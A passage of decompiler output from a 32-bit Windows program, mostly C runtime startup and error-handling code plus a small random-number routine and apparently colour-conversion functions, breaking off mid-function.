void fun_40b5c6(signed char cl, int32_t a2) {

int32_t ebp3;

*reinterpret_cast<signed char*>(ebp3 - 0x90) = 1;

return;
}

uint32_t g416010 = 1;

uint32_t g416ae4;

void** fun_403de0(void** ecx, void** a2, unsigned char a3, void** a4, void** a5, void** a6,
void** a7, void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void**
a15, void** a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void**
a23, void** a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void**
a31, void** a32, void** a33, void** a34, void** a35, void** a36, void** a37, void** a38, void**
a39, void** a40, void** a41, ...) {
void** ecx42;
void** edi43;
void** eax44;
int1_t cf45;
int1_t cf46;
int1_t cf47;
void* ecx48;

ecx42 = a4;
edi43 = a2;
if (!ecx42) {
addr_403f33_2:
return a2;
} else {
eax44 = reinterpret_cast<void**>(a3 * 0x1010101);
if (reinterpret_cast<unsigned char>(ecx42) <= reinterpret_cast<unsigned char>(32))
goto addr_403ee5_4;
if (reinterpret_cast<unsigned char>(ecx42) >= reinterpret_cast<unsigned char>(0x80))
goto addr_403e12_6;
}
addr_403e9d_7:
cf45 = static_cast<int1_t>(g416010 >> 1);
if (!cf45) {
addr_403ee5_4:
if (reinterpret_cast<unsigned char>(ecx42) & 3) {
do {
 *reinterpret_cast<void***>(edi43) = eax44;
++edi43;
--ecx42;
} while (reinterpret_cast<unsigned char>(ecx42) & 3);
}
} else {
__asm__("movd xmm0, eax");
__asm__("pshufd xmm0, xmm0, 0x0");
goto addr_403eb0_10;
}
if (reinterpret_cast<unsigned char>(ecx42) & 4) {
*reinterpret_cast<void***>(edi43) = eax44;
edi43 = edi43 + 4;
ecx42 = ecx42 - 4;
}
if (reinterpret_cast<unsigned char>(ecx42) & 0xfffffff8) {
do {
*reinterpret_cast<void***>(edi43) = eax44;
*reinterpret_cast<void***>(edi43 + 4) = eax44;
edi43 = edi43 + 8;
ecx42 = ecx42 - 8;
} while (reinterpret_cast<unsigned char>(ecx42) & 0xfffffff8);
goto addr_403f33_2;
}
addr_403eb0_10:
if (reinterpret_cast<unsigned char>(ecx42) < reinterpret_cast<unsigned char>(32)) {
addr_403ed1_16:
__asm__("movdqu [edi], xmm0");
__asm__("movdqu [edi+0x10], xmm0");
return a2;
} else {
do {
__asm__("movdqu [edi], xmm0");
__asm__("movdqu [edi+0x10], xmm0");
ecx42 = ecx42 - 32;
} while (reinterpret_cast<unsigned char>(ecx42) >= reinterpret_cast<unsigned char>(32));
if (!(reinterpret_cast<unsigned char>(ecx42) & 31))
goto addr_403f33_2; else
goto addr_403ed1_16;
}
addr_403e12_6:
cf46 = static_cast<int1_t>(g416ae4 >> 1);
if (cf46) {
while (ecx42) {
 --ecx42;
*reinterpret_cast<void***>(edi43) = eax44;
++edi43;
}
return a2;
}
cf47 = static_cast<int1_t>(g416010 >> 1);
if (!cf47)
goto addr_403ee5_4;
__asm__("movd xmm0, eax");
__asm__("pshufd xmm0, xmm0, 0x0");
ecx48 = reinterpret_cast<void*>(reinterpret_cast<unsigned char>(ecx42) +
reinterpret_cast<unsigned char>(edi43));
__asm__("movups [edi], xmm0");
edi43 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edi43 + 16) & 0xfffffff0);
ecx42 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(ecx48) -
reinterpret_cast<unsigned char>(edi43));
if (reinterpret_cast<unsigned char>(ecx42) <= reinterpret_cast<unsigned char>(0x80))
goto addr_403e9d_7;
do {
__asm__("movdqa [edi], xmm0");
__asm__("movdqa [edi+0x10], xmm0");
__asm__("movdqa [edi+0x20], xmm0");
__asm__("movdqa [edi+0x30], xmm0");
__asm__("movdqa [edi+0x40], xmm0");
__asm__("movdqa [edi+0x50], xmm0");
__asm__("movdqa [edi+0x60], xmm0");
__asm__("movdqa [edi+0x70], xmm0");
ecx42 = ecx42 - 0x80;
} while (reinterpret_cast<unsigned char>(ecx42) & 0xffffff00);
goto addr_403eb0_10;
}

uint32_t g416004 = 0xbb40e64e;

int32_t IsProcessorFeaturePresent = 0x1524a;

int32_t g416880;

uint32_t g41687c;

int32_t g416878;

int32_t g416874;
void** g416870;

void** g41686c;

int16_t g416898;

int16_t g41688c;

int16_t g416868;

int16_t g416864;

int16_t g416860;

int16_t g41685c;

uint32_t g416890;

void** g416884;

void** g416888;

void* g416894;

int32_t g4167d0 = 0;

void** g41678c = reinterpret_cast<void**>(0);

int32_t g416780 = 0;

int32_t g416784 = 0;

int32_t g416790 = 0;

int32_t g416794 = 0;

void** fun_4031bb(int32_t a1, int32_t a2);

void** fun_402f62(uint32_t ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, ...) {
uint32_t eflags9;
int1_t zf10;
void** eax11;
int32_t eax12;
int32_t edx13;
int32_t ebx14;
void** esi15;
void** edi16;
int16_t ss17;
int16_t cs18;
int16_t ds19;
int16_t es20;
int16_t fs21;
int16_t gs22;
void** ebp23;
void** eax24;
void** eax25;

*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&eflags9) + 1) = 0;
zf10 = ecx == g416004;
if (zf10) {
return eax11;
}
eax12 = reinterpret_cast<int32_t>(IsProcessorFeaturePresent(23));
*reinterpret_cast<int1_t*>(&eflags9) = 0;
*reinterpret_cast<int1_t*>(&eflags9) = __intrinsic();
*reinterpret_cast<int1_t*>(&eflags9) = eax12 == 0;
*reinterpret_cast<int1_t*>(&eflags9) = eax12 < 0;
*reinterpret_cast<int1_t*>(reinterpret_cast<int32_t>(&eflags9) + 1) = 0;
*reinterpret_cast<int1_t*>(&eflags9) = __undefined();
if (!*reinterpret_cast<int1_t*>(&eflags9))
goto addr_4031f8_5;
addr_4031fd_6:
g416880 = eax12;
g41687c = ecx;
g416878 = edx13;
g416874 = ebx14;
g416870 = esi15;
g41686c = edi16;
g416898 = ss17;
g41688c = cs18;
g416868 = ds19;
g416864 = es20;
g416860 = fs21;
g41685c = gs22;
g416890 = eflags9 & 0xfcffff;
g416884 = ebp23;
 g416888 = reinterpret_cast<void**>(__return_address());
g416894 = reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 8);
g4167d0 = 0x10001;
eax24 = g416888;
g41678c = eax24;
g416780 = 0xc0000409;
g416784 = 1;
g416790 = 1;
g416794 = 2;
eax25 = fun_4031bb(0x40e220, 23);
return eax25;
addr_4031f8_5:
ecx = 2;
__asm__("int 0x29");
goto addr_4031fd_6;
}

struct s0 {
void** f0;
signed char[3] pad4;
void** f4;
};

void** fun_404a93(void** ecx, struct s0* a2);

void** fun_401580(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void**
a32, void** a33, void** a34, void** a35, void** a36, void** a37, void** a38, void** a39, void**
a40, void** a41, void** a42, void** a43, void** a44, void** a45, void** a46, ...) {
void** eax47;

eax47 = fun_404a93(ecx, 0);

return eax47;
}

uint32_t fun_402cd0(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16, void** a17, void** a18, void** a19, void** a20, void** a21, void** a22, void** a23, void**
a24, void** a25, void** a26, void** a27, void** a28, void** a29, void** a30, void** a31, void**
a32, void** a33, void** a34, void** a35, void** a36, void** a37, void** a38, void** a39, void**
a40, void** a41, void** a42, void** a43, void** a44, void** a45, void** a46, void** a47, ...) {
uint32_t edx48;
 uint32_t eax49;
uint32_t edx50;

__asm__("rdtsc ");
edx48 = eax49 ^ eax49 << 13;
edx50 = edx48 ^ edx48 << 17;
return edx50 << 5 ^ edx50;
}

struct s1 {
void** f0;
signed char[3] pad4;
void** f4;
};

struct s2 {
signed char[4] pad4;
void** f4;
};

unsigned char fun_40cbfa(void** ecx);

void** fun_402cf0(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, ...) {
void*** edi12;
struct s1* edi13;
struct s2* edi14;
void** esi15;
unsigned char al16;
void** esi17;
void** esi18;
uint32_t ecx19;

__asm__("movd xmm0, esi");

__asm__("cvtdq2pd xmm0, xmm0");
__asm__("divsd xmm0, [0x4137b8]");
*edi12 = *reinterpret_cast<void***>(ecx);
edi13 = reinterpret_cast<struct s1*>(&edi14->f4);
esi15 = ecx + 4;
__asm__("fld qword [ebp-0x8]");
__asm__("fld qword [0x4137a8]");
al16 = fun_40cbfa(ecx);
edi13->f0 = *reinterpret_cast<void***>(esi15);
esi17 = esi15 + 4;
 __asm__("fstp qword [ebp-0x8]");
edi13->f4 = *reinterpret_cast<void***>(esi17);
esi18 = esi17 + 4;
__asm__("subsd xmm0, xmm1");
__asm__("andps xmm0, [0x4139d0]");
__asm__("subsd xmm1, xmm0");
__asm__("cvtpd2ps xmm1, xmm1");
if (reinterpret_cast<signed char>(esi18) < reinterpret_cast<signed char>(0))
goto addr_402dde_11;
if (reinterpret_cast<signed char>(esi18) >= reinterpret_cast<signed char>(60)) {
if (reinterpret_cast<signed char>(esi18) >= reinterpret_cast<signed char>(0x78)) {
if (reinterpret_cast<signed char>(esi18) >= reinterpret_cast<signed char>(0xb4)) {
if (reinterpret_cast<signed char>(esi18) >= reinterpret_cast<signed char>(0xf0)) {
if (reinterpret_cast<signed char>(esi18) >= reinterpret_cast<signed char>(0x12c)) {
if (reinterpret_cast<signed char>(esi18) >= reinterpret_cast<signed
char>(0x168)) {
addr_402dde_11:
__asm__("movss xmm2, [ebp-0x4]");
__asm__("movss xmm3, [ebp-0x4]");
__asm__("movss xmm1, [ebp-0x4]");
} else {
__asm__("movss xmm2, [0x413790]");
__asm__("xorps xmm3, xmm3");
}
} else {
__asm__("movaps xmm2, xmm1");
__asm__("xorps xmm3, xmm3");
__asm__("movss xmm1, [0x413790]");
}
} else {
__asm__("movaps xmm3, xmm1");
__asm__("xorps xmm2, xmm2");
__asm__("movss xmm1, [0x413790]");
}
} else {
__asm__("movss xmm3, [0x413790]");
__asm__("xorps xmm2, xmm2");
}
} else {
__asm__("movss xmm3, [0x413790]");
__asm__("movaps xmm2, xmm1");
__asm__("xorps xmm1, xmm1");
}
} else {
 __asm__("movss xmm2, [0x413790]");
__asm__("movaps xmm3, xmm1");
__asm__("xorps xmm1, xmm1");
}
__asm__("movss xmm0, [0x4137c0]");
__asm__("mulss xmm1, xmm0");
__asm__("mulss xmm3, xmm0");
__asm__("cvttss2si eax, xmm1");
__asm__("cvttss2si ecx, xmm3");
__asm__("mulss xmm2, xmm0");
ecx19 = *reinterpret_cast<unsigned char*>(&ecx);
__asm__("cvttss2si ecx, xmm2");
return (static_cast<uint32_t>(al16) << 8 | ecx19) << 8 |
static_cast<uint32_t>(*reinterpret_cast<unsigned char*>(&ecx19));
}

void** fun_40cc20(void** ecx, void** a2, void** a3, void** a4) {

}

struct s3 {
void** f0;
void** f1;
void** f2;
};

struct s4 {
void** f0;
signed char[3] pad4;
void** f4;
};

struct s5 {
signed char[4] pad4;
void** f4;
};

struct s3* fun_402e30(void** ecx, struct s3* a2, void** a3, void** a4, void** a5) {
void*** edi6;
struct s4* edi7;
struct s5* edi8;
void** esi9;
void** esi10;
void** esi11;
 __asm__("movd xmm0, esi");
__asm__("cvtdq2pd xmm0, xmm0");
__asm__("divsd xmm0, [0x4137b8]");
*edi6 = *reinterpret_cast<void***>(ecx);
edi7 = reinterpret_cast<struct s4*>(&edi8->f4);
esi9 = ecx + 4;
__asm__("fld qword [ebp-0x8]");
__asm__("fld qword [0x4137a8]");
fun_40cbfa(ecx);
edi7->f0 = *reinterpret_cast<void***>(esi9);
esi10 = esi9 + 4;
__asm__("fstp qword [ebp-0x8]");
edi7->f4 = *reinterpret_cast<void***>(esi10);
esi11 = esi10 + 4;
__asm__("subsd xmm0, xmm1");
__asm__("andps xmm0, [0x4139d0]");
__asm__("subsd xmm1, xmm0");
__asm__("cvtpd2ps xmm1, xmm1");
if (reinterpret_cast<signed char>(esi11) < reinterpret_cast<signed char>(0))
goto addr_402f1e_11;
if (reinterpret_cast<signed char>(esi11) >= reinterpret_cast<signed char>(60)) {
if (reinterpret_cast<signed char>(esi11) >= reinterpret_cast<signed char>(0x78)) {
if (reinterpret_cast<signed char>(esi11) >= reinterpret_cast<signed char>(0xb4)) {
if (reinterpret_cast<signed char>(esi11) >= reinterpret_cast<signed char>(0xf0)) {
if (reinterpret_cast<signed char>(esi11) >= reinterpret_cast<signed char>(0x12c)) {
if (reinterpret_cast<signed char>(esi11) >= reinterpret_cast<signed
char>(0x168)) {
addr_402f1e_11:
__asm__("movss xmm2, [ebp-0x4]");
__asm__("movss xmm3, [ebp-0x4]");
__asm__("movss xmm1, [ebp-0x4]");
} else {
__asm__("movss xmm2, [0x413790]");
__asm__("xorps xmm3, xmm3");
}
} else {
__asm__("movaps xmm2, xmm1");
__asm__("xorps xmm3, xmm3");
__asm__("movss xmm1, [0x413790]");
}
} else {
__asm__("movaps xmm3, xmm1");
__asm__("xorps xmm2, xmm2");
__asm__("movss xmm1, [0x413790]");
 }
} else {
__asm__("movss xmm3, [0x413790]");
__asm__("xorps xmm2, xmm2");
}
} else {
__asm__("movss xmm3, [0x413790]");
__asm__("movaps xmm2, xmm1");
__asm__("xorps xmm1, xmm1");
}
} else {
__asm__("movss xmm2, [0x413790]");
__asm__("movaps xmm3, xmm1");
__asm__("xorps xmm1, xmm1");
}
__asm__("movss xmm0, [0x4137c0]");
__asm__("mulss xmm2, xmm0");
__asm__("mulss xmm3, xmm0");
__asm__("cvttss2si ecx, xmm2");
__asm__("mulss xmm1, xmm0");
a2->f2 = ecx;
__asm__("cvttss2si ecx, xmm3");
a2->f1 = ecx;
__asm__("cvttss2si ecx, xmm1");
a2->f0 = ecx;
return a2;
}

signed char fun_404cad(void** ecx);

void fun_40b467(void** ecx);

unsigned char fun_40cebf(void** ecx, int32_t a2, int32_t a3, int32_t a4);

unsigned char fun_40cbfa(void** ecx) {

signed char al2;
int32_t ebx3;
int32_t v4;
int32_t v5;
unsigned char al6;

__asm__("wait ");
__asm__("fnstcw word [ebp+0xffffff5c]");
__asm__("wait ");
 al2 = fun_404cad(ecx);
if (al2) {
__asm__("fxch st0, st1");
__asm__("fst qword [ebp+0xffffff7a]");
__asm__("fxch st0, st1");
__asm__("fst qword [ebp-0x7e]");
}
fun_40b467(ecx);
al6 = fun_40cebf(ecx, ebx3, v4, v5);
return al6;
}

/* (image base) */
int32_t image_base_ = 0x403603;

void fun_403845() {
int32_t* esi1;
int32_t edi2;

esi1 = reinterpret_cast<int32_t*>(0x414854);
if (!1) {
do {
edi2 = *esi1;
if (edi2) {
image_base_(edi2);
edi2(edi2);
}
++esi1;
} while (reinterpret_cast<uint32_t>(esi1) < 0x414854);
}
return;
}

uint32_t fun_4034ec(void** ecx, void** a2);

int32_t fun_403519(void** ecx, void** a2) {

uint32_t eax3;
uint32_t eax4;

eax3 = fun_4034ec(ecx, a2);

eax4 = -eax3;
return reinterpret_cast<int32_t>(-(eax4 - (eax4 + reinterpret_cast<uint1_t>(eax4 < eax4 +
reinterpret_cast<uint1_t>(!!eax3))))) - 1;
}
void** fun_4035c9() {
return 1;
}

int32_t GetModuleFileNameW = 0x15426;

void** g416ef4;

void** g416ef8;

void fun_404e57(void** a1, void** a2, void** a3, void** a4, int32_t* a5);

void** fun_404fdd(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);

void** fun_4060e8(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10);

void** fun_40602c(void** ecx, void** a2, void** a3, void** a4, void** a5);

void** fun_40719a(void** ecx, void** a2, void** a3);

void** g0;

void** g416ee4;

void** g416eec;

void** fun_406c46(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12, void** a13, void** a14, void** a15, void**
a16);

void** fun_405032(void** ecx, void** a2, void** a3, void** a4) {

void** v5;
void** v6;
void** ebp7;
void*** ebp8;
void** v9;
void** esi10;
void** v11;
void** ebx12;
void** v13;
void** edi14;
void** edi15;
void** ebx16;
int32_t* v17;
void** v18;
void** eax19;
void** esi20;
void** v21;
void** v22;
void** v23;
void** eax24;
void** v25;
void** v26;
void** v27;
void** eax28;
void** v29;
void** eax30;
void** ebx31;
void** ecx32;
void** eax33;
int1_t zf34;
void** eax35;
void** v36;
void** eax37;

v5 = reinterpret_cast<void**>(__return_address());
v6 = ebp7;
ebp8 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 + 4 - 4);
v9 = esi10;
if (a2 == 2 || a2 == 1) {
v11 = ebx12;
v13 = edi14;
edi15 = reinterpret_cast<void**>(0);
GetModuleFileNameW();
ebx16 = g416ef4;
g416ef8 = reinterpret_cast<void**>(0x416b98);
if (!ebx16 || !*reinterpret_cast<void***>(ebx16)) {
ebx16 = reinterpret_cast<void**>(0x416b98);
}
v17 = reinterpret_cast<int32_t*>(ebp8 - 12);
v18 = reinterpret_cast<void**>(ebp8 + 0xfffffffc);
fun_404e57(ebx16, 0, 0, v18, v17);
eax19 = fun_404fdd(0, 0, 2, ebx16, 0, 0, v18, *reinterpret_cast<void***>(&v17));
esi20 = eax19;
if (!esi20)
 goto addr_404dbc_6;
} else {
eax24 = fun_4060e8(ecx, v9, v21, v22, v23, v6, v5, a2, a3, a4);
*reinterpret_cast<void***>(eax24) = reinterpret_cast<void**>(22);
fun_40602c(ecx, v9, v25, v26, v27);
eax28 = reinterpret_cast<void**>(22);
goto addr_404e52_8;
}
fun_404e57(ebx16, esi20, esi20, ebp8 + 0xfffffffc, ebp8 - 12);
if (!reinterpret_cast<int1_t>(a2 == 1)) {
v29 = reinterpret_cast<void**>(ebp8 + 0xfffffff8);
eax30 = fun_40719a(ecx, esi20, v29);
ebx31 = eax30;
ecx32 = v29;
if (!ebx31) {
ecx32 = reinterpret_cast<void**>(0);
eax33 = reinterpret_cast<void**>(0);
zf34 = g0 == 0;
if (!zf34) {
do {
eax33 = eax33 + 4;
++ecx32;
} while (*reinterpret_cast<void***>(eax33));
}
g416ee4 = ecx32;
ebx31 = reinterpret_cast<void**>(0);
g416eec = reinterpret_cast<void**>(0);
}
fun_406c46(ecx32, 0, 0, 0x6b98, 0x104, v13, v11, v9, 0, 0, 0, v6, v5, a2, a3, a4);
ecx = reinterpret_cast<void**>(0);
} else {
g416ee4 = reinterpret_cast<void**>(0xffffffff);
eax35 = esi20;
esi20 = reinterpret_cast<void**>(0);
g416eec = eax35;
goto addr_404df9_17;
}
addr_404e47_18:
fun_406c46(ecx, esi20, 0, 0x6b98, 0x104, v13, v11, v9, 0, 0, 0, v6, v5, a2, a3, a4);
eax28 = ebx31;
addr_404e52_8:
return eax28;
addr_404df9_17:
ebx31 = edi15;
 goto addr_404e47_18;
addr_404dbc_6:
eax37 = fun_4060e8(ecx, 0, 0x416b98, 0x104, v13, v11, v9, 0, v36, 0);
edi15 = reinterpret_cast<void**>(12);
*reinterpret_cast<void***>(eax37) = reinterpret_cast<void**>(12);
goto addr_404df9_17;
}

int32_t InitializeSListHead = 0x152c6;

void fun_4035d3(void** ecx) {

InitializeSListHead();
goto 0x416ac0;
}

int32_t g41600c = 1;

int32_t fun_40362f(void** ecx) {

int32_t eax2;
uint1_t zf3;

eax2 = 0;
zf3 = reinterpret_cast<uint1_t>(g41600c == 0);
*reinterpret_cast<unsigned char*>(&eax2) = zf3;
return eax2;
}

void** fun_404c5d(void** ecx, void** a2, void** a3, void** a4, void** a5);

void** g416b94;

void fun_404d23(void** ecx, void** a2) {

void** ebp3;
void** eax4;

eax4 = fun_404c5d(ecx, a2, ebp3, __return_address(), a2);

g416b94 = eax4;
return;
}

int32_t g416da8;

void** fun_407a01(void** a1, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10);
void** fun_405091(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);

void** g416dac;

void fun_404c7c(void** ecx, void** a2);

uint32_t fun_405267(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12) {
int1_t zf13;
void** v14;
void** esi15;
void** edi16;
void** eax17;
void** eax18;
void** ecx19;
uint32_t edi20;

zf13 = g416da8 == 0;
if (zf13) {
v14 = esi15;
eax17 = fun_407a01(edi16, v14, __return_address(), a2, a3, a4, a5, a6, a7, a8);
if (eax17) {
eax18 = fun_405091(ecx, eax17, edi16, v14, __return_address(), a2, a3, a4);
ecx19 = eax17;
if (eax18) {
ecx19 = reinterpret_cast<void**>(0x416da8);
g416dac = eax18;
fun_404c7c(0x416da8, eax18);
edi20 = 0;
} else {
edi20 = 0xffffffff;
}
fun_406c46(ecx19, 0, edi16, v14, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12);
ecx = reinterpret_cast<void**>(0);
} else {
edi20 = 0xffffffff;
}
fun_406c46(ecx, eax17, edi16, v14, __return_address(), a2, a3, a4, a5, a6, a7, a8, a9,
a10, a11, a12);
return edi20;
} else {
 return 0;
}
}

void** fun_4035c6(void** ecx, void** a2, void** a3) {

return 0;
}

int32_t fun_403793(void** ecx) {

return 0;
}

uint32_t fun_403ad5();

struct s6 {
signed char[4] pad4;
uint32_t f4;
uint32_t f8;
};

struct s6* g18;

uint32_t g416aa0;

signed char fun_403321(void** ecx) {

uint32_t eax2;
struct s6* eax3;
uint32_t edx4;
int1_t zf5;

eax2 = fun_403ad5();
if (!eax2) {
addr_40334b_2:
return 0;
} else {
eax3 = g18;
edx4 = eax3->f4;
do {
zf5 = g416aa0 == edx4;
if (zf5) {
g416aa0 = edx4;
}
if (!0)
goto addr_40334b_2;
 } while (edx4);
}
return 1;
}

void** fun_40530e(void** ecx, void** a2, void** a3, void** a4, void** a5) {
void** v6;
void** v7;
void** ebp8;
void*** ebp9;
uint32_t eax10;
void** v11;
void** esi12;
void** edi13;
int32_t eax14;
void** eax15;

v6 = reinterpret_cast<void**>(__return_address());
v7 = ebp8;
ebp9 = reinterpret_cast<void***>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4);
eax10 = g416004;
v11 = reinterpret_cast<void**>(eax10 ^ reinterpret_cast<uint32_t>(ebp9));
esi12 = a2;
while (esi12 != a3) {
edi13 = *reinterpret_cast<void***>(esi12);
if (!edi13)
goto addr_405339_4;
image_base_(edi13);
eax14 = reinterpret_cast<int32_t>(edi13(edi13));
if (eax14)
goto addr_405343_6;
addr_405339_4:
esi12 = esi12 + 4;
}
addr_405343_6:
eax15 = fun_402f62(reinterpret_cast<unsigned char>(v11) ^
reinterpret_cast<uint32_t>(ebp9), v11, v7, v6, a2, a3, a4, a5);
return eax15;
}

uint32_t fun_4038a0(void** ecx, void** a2, void** a3, void** a4);

/* (image base) */
int16_t image_base_;
int32_t g40003c;

struct s7 {
signed char[8] pad8;
int32_t f8;
};

struct s8 {
signed char[8] pad8;
int32_t f8;
uint32_t fc;
signed char[20] pad36;
int32_t f24;
};

struct s9 {
signed char[60] pad60;
int32_t f3c;
};

struct s8* fun_4032dd(struct s9* a1, uint32_t a2);

struct s10 {
signed char[4] pad4;
int32_t f4;
};

signed char fun_403413(void** ecx, void** a2) {

int32_t ebp3;
int1_t zf4;
int32_t eax5;
uint32_t v6;
struct s7* ebp7;
struct s8* eax8;
int32_t ebp9;
int32_t ebp10;
int32_t ebp11;
struct s10* ebp12;

fun_4038a0(ecx, 0x414880, 8, __return_address());

*reinterpret_cast<uint32_t*>(ebp3 - 4) = 0;
zf4 = image_base_ == 0x5a4d;
 if (!zf4 || ((eax5 = g40003c, *reinterpret_cast<int32_t*>(eax5 + 0x400000) != 0x4550) ||
(*reinterpret_cast<int16_t*>(eax5 + 0x400018) != 0x10b || ((v6 =
reinterpret_cast<uint32_t>(ebp7->f8 - 0x400000), eax8 = fun_4032dd(0x400000, v6), eax8 ==
0) || eax8->f24 < 0)))) {
*reinterpret_cast<int32_t*>(ebp9 - 4) = -2;
} else {
*reinterpret_cast<int32_t*>(ebp10 - 4) = -2;
}
g0 = *reinterpret_cast<void***>(ebp11 - 16);
goto ebp12->f4;
}

void** g416dbc;

void fun_40cab0(void** a1, void** a2, void** a3);

void** fun_40695e(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9, void** a10, void** a11, void** a12);

void fun_405ccd(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7);

int32_t fun_408a71(void** ecx);

void fun_408acc(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8, void** a9);

unsigned char g416040 = 2;

int32_t fun_40c86c(void** ecx, void** a2, void** a3, void** a4, void** a5);

void** fun_405e62(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8);

void fun_40559b(void** ecx, void** a2);

void** g417250;

int32_t HeapFree = 0x14ee2;

int32_t GetLastError = 0x15322;

void** fun_40606f(void** ecx, void** a2);

void fun_4055b1(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** v9;
void** ebp10;
uint32_t eax11;
void** ecx12;
void** eax13;
int1_t zf14;
void** v15;
void** eax16;
void** esi17;
int32_t eax18;
int1_t zf19;
int32_t eax20;
void** v21;
void** eax22;
void** eax23;
void** eax24;
void** eax25;
void** eax26;

v9 = ebp10;
eax11 = g416004;
ecx12 = reinterpret_cast<void**>(32 - (eax11 & 31));
__asm__("ror eax, cl");
eax13 = reinterpret_cast<void**>(g416004);
zf14 = g416dbc == eax13;
if (!zf14) {
v15 = reinterpret_cast<void**>(12);
fun_40cab0(0x414948, 12, v9);
eax16 = fun_40695e(ecx12, 0x414948, 12, v9, __return_address(), a2, a3, a4, a5, a6, a7,
a8);
esi17 = *reinterpret_cast<void***>(eax16 + 12);
if (esi17) {
ecx12 = esi17;
image_base_(ecx12);
esi17(ecx12);
v15 = reinterpret_cast<void**>(0xfffffffe);
}
fun_405ccd(ecx12, 0x414948, v15, v9, __return_address(), a2, a3);
eax18 = fun_408a71(ecx12);
if (eax18) {
fun_408acc(ecx12, 22, 0x414948, v15, v9, __return_address(), a2, a3, a4);
ecx12 = reinterpret_cast<void**>(22);
 }
zf19 = (g416040 & 2) == 0;
if (!zf19) {
eax20 = fun_40c86c(ecx12, 23, 0x414948, v15, v9);
if (eax20) {
ecx12 = reinterpret_cast<void**>(7);
__asm__("int 0x29");
}
fun_405e62(ecx12, 3, 0x40000015, 1, 23, 0x414948, v15, v9);
}
fun_40559b(ecx12, 3);
if (!0 && (v21 = g417250, eax22 = reinterpret_cast<void**>(HeapFree(ecx12, v21, 0,
0x414948)), !eax22)) {
eax23 = fun_4060e8(ecx12, esi17, v21, 0, 0x414948,
reinterpret_cast<int32_t>(__zero_stack_offset()) - 4, 3, 0x414948, v15, v9);
eax24 = reinterpret_cast<void**>(GetLastError(ecx12));
eax25 = fun_40606f(ecx12, eax24);
*reinterpret_cast<void***>(eax23) = eax25;
}
goto 3;
} else {
eax26 = fun_404c5d(ecx12, a2, v9, __return_address(), a2);
g416dbc = eax26;
return;
}
}

void fun_405366(void** ecx, void** a2, void** a3, void** a4);

void fun_40558c(void** ecx) {

fun_405366(ecx, 0, 0, 1);
return;
}

void fun_40557d(void** ecx) {

fun_405366(ecx, 0, 2, 1);
return;
}

int32_t SetUnhandledExceptionFilter = 0x15218;

int32_t UnhandledExceptionFilter = 0x151fc;

int32_t GetCurrentProcess = 0x14e4c;

int32_t TerminateProcess = 0x15236;

void** fun_4031bb(int32_t a1, int32_t a2) {

int32_t ebp3;

SetUnhandledExceptionFilter(0, ebp3, __return_address());

UnhandledExceptionFilter(a1, 0, ebp3, __return_address());
GetCurrentProcess();
TerminateProcess();
goto 0xc0000409;
}

struct s11 {
signed char[6] pad6;
uint16_t f6;
signed char[12] pad20;
uint16_t f14;
};

struct s8* fun_4032dd(struct s9* a1, uint32_t a2) {

struct s11* ecx3;
struct s8* edx4;
struct s8* esi5;
struct s8* eax6;
uint32_t ecx7;

ecx3 = reinterpret_cast<struct s11*>(a1->f3c + reinterpret_cast<int32_t>(a1));

edx4 = reinterpret_cast<struct s8*>(reinterpret_cast<int32_t>(ecx3) + 24 + ecx3->f14);
esi5 = edx4 + ecx3->f6;
if (edx4 == esi5) {
addr_403318_2:
eax6 = reinterpret_cast<struct s8*>(0);
} else {
ecx7 = a2;
do {
if (ecx7 < edx4->fc)
continue;
if (ecx7 < edx4->f8 + edx4->fc)
goto addr_40331d_6;
++edx4;
} while (edx4 != esi5);
goto addr_403318_2;
}
 addr_40331a_8:
return eax6;
addr_40331d_6:
eax6 = edx4;
goto addr_40331a_8;
}

uint32_t g416ae0;

int32_t fun_403904() {
int32_t eax1;
uint32_t eax2;
uint32_t edi3;
uint32_t edi4;
uint32_t ecx5;
uint32_t eax6;
uint32_t eax7;

g416ae0 = 0;
g416010 = g416010 | 1;
eax1 = reinterpret_cast<int32_t>(IsProcessorFeaturePresent(10));
if (eax1) {
if (__intrinsic() ^ 0x756e6547 | __intrinsic() ^ 0x6c65746e | __intrinsic() ^ 0x49656e69 ||
(eax2 = __intrinsic() & 0xfff3ff0, eax2 != 0x106c0) && (eax2 != 0x20660 && (eax2 != 0x20670
&& (eax2 != 0x30650 && (eax2 != 0x30660 && eax2 != 0x30670))))) {
edi3 = g416ae4;
} else {
edi4 = g416ae4;
edi3 = edi4 | 1;
g416ae4 = edi3;
}
